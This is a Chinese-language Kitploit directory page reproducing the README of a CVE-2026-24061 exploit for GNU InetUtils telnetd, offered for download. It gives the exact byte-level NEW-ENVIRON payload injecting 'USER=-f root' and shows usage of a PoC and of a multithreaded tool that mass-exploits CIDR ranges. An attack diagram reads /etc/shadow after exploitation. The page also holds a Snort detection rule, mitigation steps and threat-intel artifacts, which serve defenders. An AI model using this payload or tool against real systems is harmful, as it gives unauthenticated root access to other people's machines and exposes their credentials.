Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/franckferman/cve-2026-24061
漏洞扫描器漏洞利用网络安全渗透测试威胁情报身份验证学习与教育红队
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - 通过 NEW-ENVIRON 变量注入实现未认证远程 Root 权限。

查看仓库
45个月前尚未审核
网站

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE Score License Python No deps

GNU InetUtils telnetd - 通过 NEW-ENVIRON 变量注入实现未认证远程 Root 权限

漏洞概述 - 技术分析 - 受影响版本 - 使用方法 - 修复与缓解 - 参考资料


漏洞概述

CVE-2026-24061 是 GNU InetUtils 所分发的 telnetd 守护进程中的一个严重认证绕过漏洞。该缺陷存在于初始协议握手期间对 Telnet NEW-ENVIRON 选项(RFC 1572)的处理过程中。

根本原因是在将客户端提供的环境变量传递给 login(1) 程序之前,未能对其进行净化处理。当 Telnet 守护进程收到包含变量 USER(值为 -f root)的 子协商数据包时,会将该未净化的值直接传递给系统 二进制文件。

NEW-ENVIRON IS
login

在 login 接受 -f 标志(强制登录,无需密码验证)的系统上,这将导致远程攻击者获得未认证的 root 会话。

此类漏洞具有历史先例:SysV telnetd 中的 CVE-2001-0797 以及 1994 年著名的 Linux telnetd -f 绕过漏洞,均利用了相同的根本性缺陷——未能净化通过环境变量传递给特权二进制文件的参数。

无需任何凭据。无需任何先前访问权限。单个网络数据包序列即可获得 root 权限。

技术分析

根本原因

GNU InetUtils telnetd 处理 NEW-ENVIRON(选项代码 0x27,依据 RFC 1572)子协商以收集客户端提供的环境变量。这些变量被组装成参数向量,并在生成 login(1) 进程时传递给 execve(2)。

该漏洞的触发过程如下:

  1. 服务器发送 IAC DO NEW-ENVIRON,向客户端请求环境变量。
  2. 恶意客户端回复 IAC WILL NEW-ENVIRON。
  3. 服务器随后发送 IAC SB NEW-ENVIRON SEND IAC SE。
  4. 客户端发送注入的载荷:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd 构造 login 调用为 login -f root。
  2. login(1) 将 -f 解释为"强制登录,跳过认证",并以指定用户(root)身份登录,无需密码。

协议层分解

步骤方向Telnet 字节(十六进制)含义
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

为什么 -f root 有效

许多 Linux 系统上的 login(1) 二进制文件接受 -f <user> 标志用于"预认证"登录,历史上被终端多路复用器和 rlogin 使用。当 telnetd 构建其 exec 调用时,未能去除前导连字符或验证环境变量值中类似选项的字符串,从而无意中将攻击者控制的标志直接传递给 login。

实际调用变为:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

攻击场景

root@kitploit:~
攻击者                                    易受攻击的 telnetd(端口 23)
   |                                                   |
   |------- TCP SYN(端口 23)----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Telnet 横幅 + IAC DO NEW-ENVIRON ----------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd 调用: login -f root]              |
   |                                                   |
   |<------ Root shell 提示符 (#) ---------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root /etc/shadow 内容 ---------|

前提条件:

  • 目标系统运行 GNU InetUtils telnetd(TCP/23 开放)
  • 未打补丁的 inetutils 版本
  • login(1) 二进制文件支持 -f 标志(大多数 Linux 发行版的标准配置)
  • 防火墙未阻止 TCP/23

受影响版本

软件受影响版本状态
GNU InetUtils telnetd<= 2.x(具体补丁版本待定)易受攻击
分发未打补丁 GNU inetutils 的发行版多种请查阅供应商公告

请验证您的发行版是否提供了已打补丁的版本。许多现代系统默认禁用 Telnet;暴露风险要求显式运行 telnetd。

CVSS 评分

指标值
CVSS v3.1 基础评分9.8(严重)
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
影响范围不变
机密性影响高
完整性影响高
可用性影响高
向量字符串CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK 映射

ATT&CK ID战术技术相关性
T1190初始访问利用面向公众的应用程序通过网络直接利用 telnetd
T1059执行命令和脚本解释器利用后执行 shell
T1078.004权限提升 / 防御规避有效账户:本地账户认证绕过产生有效的 root 会话
T1548权限提升滥用权限提升控制机制滥用 login -f 标志绕过 PAM/认证
T1046发现网络服务发现PoC 中的大规模扫描组件

安装

要求: Python 3(仅标准库,零外部依赖)。

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

无需 pip install。两个脚本仅使用 Python 标准库。

项目结构

root@kitploit:~
poc_cve_2026_24061.py       # 简单 PoC(约 100 行)- 理解漏洞原理
cve_2026_24061.py           # 工业化利用工具 - 多线程、CIDR、CSV/JSON 导出
scripts/
  generate_signatures.py    # 从载荷自动生成 Snort/Suricata + Sigma 规则
  generate_misp_event.py    # 生成可导入 MISP 的事件 JSON
  generate_stix_bundle.py   # 生成 STIX 2.1 包(MISP、OpenCTI、TAXII)
signatures/
  snort.rules               # Snort/Suricata 检测规则(自动生成)
  sigma.yml                 # 用于 SIEM 的 Sigma 规则(自动生成)
indicators/
  misp_event.json           # MISP 事件 - 通过 事件 > 添加事件 > 导入 导入
  stix_bundle.json          # STIX 2.1 包 - 11 个对象(漏洞、指标、ATT&CK、CoA)
  • poc_cve_2026_24061.py:最小化、可读、教育性。单个目标、单个函数、零抽象。阅读此文件以准确理解漏洞在协议层面的工作原理。
  • cve_2026_24061.py:用于渗透测试的工业化利用工具。多线程,支持 CIDR 范围、文件输入、CSV/JSON 导出、静默模式、自定义用户。

使用方法

简单 PoC(poc_cve_2026_24061.py)

利用单个主机。代码刻意保持最小化,以便您可以从头到尾阅读并理解完整的攻击链。

root@kitploit:~
# 基本用法
python3 poc_cve_2026_24061.py 192.168.1.100

# 自定义端口
python3 poc_cve_2026_24061.py 10.0.0.5 2323

工业化利用工具(cve_2026_24061.py)

单个主机

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

CIDR 范围(大规模扫描)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

文件输入

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

JSON 导出

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

自定义目标用户

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

静默模式(适合管道处理)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

完整选项

参数默认值描述
-t / --target-单个 IP、主机名或 CIDR 范围
-f / --file-包含 IP/CIDR 的文件(每行一个,# 为注释)
-T / --threads10并发线程数
-p / --port23目标 Telnet 端口
--timeout5套接字超时时间(秒)
--userroot用于 -f 载荷的用户名
-o / --output-将结果导出到 CSV 文件
--json-将结果导出到 JSON 文件
-q / --quiet关闭静默模式:仅打印易受攻击的目标(每行一个)
--no-color关闭禁用 ANSI 彩色输出

输出状态

状态含义
[VULN]主机确认易受攻击 - 已获得 root shell
[SAFE]主机有响应但认证未被绕过
[CLOS]端口关闭或连接被拒绝
[ERR ]扫描期间发生套接字或协议错误

CSV 输出列:ip:port, status, message

PoC 行为

该脚本使用 Python 原生实现完整的 Telnet NEW-ENVIRON 协商状态机,不依赖外部 Telnet 库:

  1. 打开到目标端口 23(可配置)的原始 TCP 套接字。
  2. 读取传入的 IAC 命令序列,并以 WILL NEW-ENVIRON 响应 DO NEW-ENVIRON。
  3. 收到服务器的 SB NEW-ENVIRON SEND 子协商后,发送注入的载荷(USER = "-f root")。
  4. 监控响应缓冲区以查找成功 root 登录的迹象:在不存在 Login incorrect 或 Password: 的情况下,出现 uid=0(root) 或 shell 提示符(#)。
  5. 如果载荷已注入,发送 id\n 并检查响应中是否包含 uid=0(root) 作为二次确认。

结果以彩色状态标签输出到标准输出。可选的 CSV 导出记录所有发现以供后续处理。

修复与缓解

立即行动

  1. 完全禁用 Telnet。 Telnet 以明文传输所有数据。请改用 SSH。

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. 应用供应商补丁。 一旦可用,请从您的发行版安装已打补丁的 inetutils 版本。

  3. 在外围阻止 TCP/23。 应用防火墙规则以拒绝入站 Telnet 连接。

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

纵深防御

控制措施描述
网络分段如果无法禁用 Telnet,请将其限制在隔离的管理网络中
PAM 加固审查 PAM 配置;在 login.defs 不需要时禁用 -f 预认证
IDS/IPS 签名检测 Telnet 流量中的 NEW-ENVIRON IS VAR USER VALUE -f 模式
审计日志监控 auth.log / secure 中通过 login 进行的意外 root 登录
漏洞扫描运行认证扫描(OpenVAS、Nessus)以识别未打补丁的 inetutils

检测(SIEM/IDS)

用于检测传输中利用行为的 Snort/Suricata 规则框架:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd USER=-f root 利用尝试";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

威胁情报

此仓库附带预生成的威胁情报工件,可直接导入您的 SOC/CTI 技术栈。它们由 CI 根据实际利用载荷自动生成——如果载荷发生变化,工件也会随之更新。

MISP

将 indicators/misp_event.json 直接导入任何 MISP 实例:

root@kitploit:~
事件 > 添加事件 > 从...导入 > JSON

该事件包含:CVE ID、CVSS 向量、Snort 签名、载荷十六进制、MITRE ATT&CK 标签(T1190、T1548、T1059)、CPE 和外部参考。

STIX 2.1

将 indicators/stix_bundle.json 导入 OpenCTI、TAXII 服务器或任何 STIX 2.1 消费者。

该包包含 11 个对象:漏洞、指标(网络模式)、3 个攻击模式(MITRE)、行动方案(修复)、身份以及连接它们的关联关系。

IDS 签名

signatures/ 中的预构建规则:

  • snort.rules - 3 条 Snort/Suricata 规则(利用尝试、通用 -f 注入、利用后 root shell)
  • sigma.yml - 用于 SIEM 关联的 Sigma 规则

重新生成

如果您修改了利用载荷,请重新生成所有工件:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

参考资料:MISP - OpenCTI - STIX 2.1 - Sigma

参考资料

  • GNU InetUtils 官方仓库
  • RFC 1572 - Telnet 环境选项(NEW-ENVIRON)
  • RFC 854 - Telnet 协议规范
  • CVE-2001-0797 - 历史 SysV telnetd -f 绕过(先例)
  • MITRE ATT&CK - T1190:利用面向公众的应用程序
  • MITRE ATT&CK - T1548:滥用权限提升控制机制
  • MISP 项目
  • Linux login(1) 手册页

法律免责声明

本工具仅供授权安全审计、学术研究和教育目的使用。未经系统所有者明确书面许可而对系统进行使用,将违反适用的计算机欺诈和滥用法律(包括但不限于 CFAA、计算机滥用法及同等法律)。作者对未经授权或恶意使用不承担任何责任。

下载工具